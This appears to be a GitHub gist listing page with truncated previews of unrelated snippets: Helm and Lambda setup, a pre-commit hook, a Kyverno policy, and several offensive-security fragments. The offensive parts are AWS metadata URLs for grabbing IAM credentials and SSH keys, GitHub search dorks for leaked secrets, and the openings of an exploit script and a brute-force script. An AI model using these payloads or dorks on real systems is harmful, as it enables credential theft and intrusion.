helm repo add privatebin https://privatebin.github.io/helm-chart
helm repo update
helm install your-release --values values.yaml privatebin/privatebin
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Make sure the python version you are using is the same as lambda runtime. | |
| ``` | |
| mkdir python | |
| cd python | |
| python3.11 -m venv . | |
| chmod +x bin/activate | |
| source bin/activate | |
| pip3 install slack_sdk | |
| deactivate | |
| cd ../ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| ## V1.0.0 | |
| ## pre-commit-hook.sh | |
| ## Authors: Ankit Saini | |
| echo -e " | |
| ###### # ### | |
| # # ##### ###### #### #### # # # # # ##### # # #### #### # # # # ## # # | |
| # # # # # # # # # ## ## ## ## # # # # # # # # # # # # # # # # | |
| ###### # # ##### ##### # # # # ## # # ## # # # ###### # # # # #### # # # # # |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ## AWS | |
| # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
| http://169.254.169.254/latest/user-data | |
| http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] | |
| http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME] | |
| http://169.254.169.254/latest/meta-data/ami-id | |
| http://169.254.169.254/latest/meta-data/reservation-id | |
| http://169.254.169.254/latest/meta-data/hostname | |
| http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| python3 -m pip install pre-commit | |
| if [ `echo $?` -ne 0 ]; then | |
| pip install pre-commit | |
| fi | |
| FILE=~/.config/git/hooks/pre-commit | |
| if [ -f "$FILE" ]; then | |
| string1="pre-commit run -c ~/.config/git/.pre-commit-config.yaml" | |
| search=`grep "${string1}" ~/.config/git/hooks/pre-commit` | |
| if [ "${search}" = "${string1}" ]; then |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| apiVersion: kyverno.io/v1 | |
| kind: ClusterPolicy | |
| metadata: | |
| name: deny-public-elb-creation | |
| spec: | |
| validationFailureAction: enforce | |
| background: false | |
| rules: | |
| - name: block-public-elb-service-creations | |
| context: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| import urllib3 | |
| import string | |
| import urllib | |
| urllib3.disable_warnings() | |
| username="" #enter the username | |
| password="" | |
| u="" # Enter the url here | |
| headers={'content-type': 'application/x-www-form-urlencoded', 'Host': ''} # Enter the Host header here. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python3 | |
| """ | |
| Exploit Created by d3afh3av3n | |
| """ | |
| import requests | |
| import sys | |
| import argparse | |
| import warnings |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| https://github.com/search?q=BROWSER_STACK_ACCESS_KEY= OR BROWSER_STACK_USERNAME= OR browserConnectionEnabled= OR BROWSERSTACK_ACCESS_KEY=&s=indexed&type=Code | |
| https://github.com/search?q=CHROME_CLIENT_SECRET= OR CHROME_EXTENSION_ID= OR CHROME_REFRESH_TOKEN= OR CI_DEPLOY_PASSWORD= OR CI_DEPLOY_USER=&s=indexed&type=Code | |
| https://github.com/search?q=CLOUDAMQP_URL= OR CLOUDANT_APPLIANCE_DATABASE= OR CLOUDANT_ARCHIVED_DATABASE= OR CLOUDANT_AUDITED_DATABASE=&s=indexed&type=Code | |
| https://github.com/search?q=CLOUDANT_ORDER_DATABASE= OR CLOUDANT_PARSED_DATABASE= OR CLOUDANT_PASSWORD= OR CLOUDANT_PROCESSED_DATABASE=&s=indexed&type=Code | |
| https://github.com/search?q=CONTENTFUL_PHP_MANAGEMENT_TEST_TOKEN= OR CONTENTFUL_TEST_ORG_CMA_TOKEN= OR CONTENTFUL_V2_ACCESS_TOKEN=&s=indexed&type=Code | |
| https://github.com/search?q=-DSELION_BROWSER_RUN_HEADLESS= OR -DSELION_DOWNLOAD_DEPENDENCIES= OR -DSELION_SELENIUM_RUN_LOCALLY=&s=indexed&type=Code | |
| https://github.com/search?q=ELASTICSEARCH_PASSWORD= OR ELASTICSEARCH_USERNAME= OR EMAIL_NOTIFI |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| #https://github.com/jeanphorn/wordlist/blob/master/usernames.txt | |
| from colorama import Fore | |
| import subprocess | |
| password='' | |
| ip='' | |
| f = open('usernames.txt','r') | |
| data = f.read() | |
| f.close() | |
| data = data.split('\r\n') |
NewerOlder